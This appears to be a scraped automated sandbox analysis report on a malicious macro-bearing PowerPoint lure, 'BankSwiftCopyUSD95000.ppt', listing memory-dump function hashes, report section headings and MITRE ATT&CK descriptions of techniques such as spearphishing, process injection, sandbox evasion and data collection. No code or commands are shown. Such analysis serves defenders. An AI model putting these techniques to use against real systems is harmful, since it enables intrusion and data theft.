Instruction ID: bde584bcc0a20163e1d20aefd562f14664055d751c7398f878511897cdc0a054
Opcode Fuzzy Hash: 00fb257517fa66d8d82df2fc559de156622b6f4f3f56d113648c417e124a9b6c
Instruction Fuzzy Hash: DFB012301042084B8100D6C8D841810F39CDB84518314C099980C47302CA23FC038580

Uniqueness

Uniqueness Score: -1.00%

Function 02A07FB0, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2346052911.0000000002A00000.00000040.00000001.sdmp, Offset: 02A00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 792034bba0f4dde5ca8493c8a90de983b1f65fc826b4b4f3eb0a0bf4fdab93db
Instruction ID: 8f8ebcfee3c6845aee30ab1cec2a6332a2d620824aee97bf8f0818eb80b0e8a0
Opcode Fuzzy Hash: 792034bba0f4dde5ca8493c8a90de983b1f65fc826b4b4f3eb0a0bf4fdab93db
Instruction Fuzzy Hash: 8D90027105860C8B464027D5750A5557B5C9594516B800861B94D425026E55741049AA

Uniqueness

Uniqueness Score: -1.00%

Function 02A07F90, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2346052911.0000000002A00000.00000040.00000001.sdmp, Offset: 02A00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71dbdb1644c27ea23ea85a10f01e2d7ffad7bc6f2b0019b3812692979c5b887a
Instruction ID: 10a0b83f3530caa15ec1f834733dac82f487b9a7fdd78e28f497875d4f0a890c
Opcode Fuzzy Hash: 71dbdb1644c27ea23ea85a10f01e2d7ffad7bc6f2b0019b3812692979c5b887a
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02A095A0, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.2346052911.0000000002A00000.00000040.00000001.sdmp, Offset: 02A00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc87fb9e172e6bcbd6f3568d745378f1aaea66f849317c77aea66e915e96e350
Instruction ID: 37d75a450a66af65d7daafc457e6f7522effb3d43a9cf07682375a4c3591993c
Opcode Fuzzy Hash: cc87fb9e172e6bcbd6f3568d745378f1aaea66f849317c77aea66e915e96e350
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: mshta.exe PID: 2224 Parent PID: 592 mshta.exeCOMMON

Executed Functions

Function 03690F31, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690F09, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690F19, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690FB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E69, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E49, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E59, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E51, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E29, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690E39, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690EE1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690EC9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690ED1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690EB9, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690EB1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690D79, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690D59, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690DE1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690DC1, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 03690D99, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000003.2318853496.0000000003690000.00000010.00000001.sdmp, Offset: 03690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction ID: 2352d996be4e7127552ba8f8f84378f4993e1d9b7885b978dedb33b18dc3613b
Opcode Fuzzy Hash: 926045ddaf2c138589a11dd9a9c79902412502141d94e47dc6f608037213f56b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
Tactics:	Initial Access
Data Sources:	DNS records, Detonation chamber, Email gateway, Mail server, Packet capture, SSL/TLS inspection, Web proxy
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report BankSwiftCopyUSD95000.ppt

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "BankSwiftCopyUSD95000.ppt"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 33850

General

VBA Code Keywords

VBA Code

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 444

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 43632

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre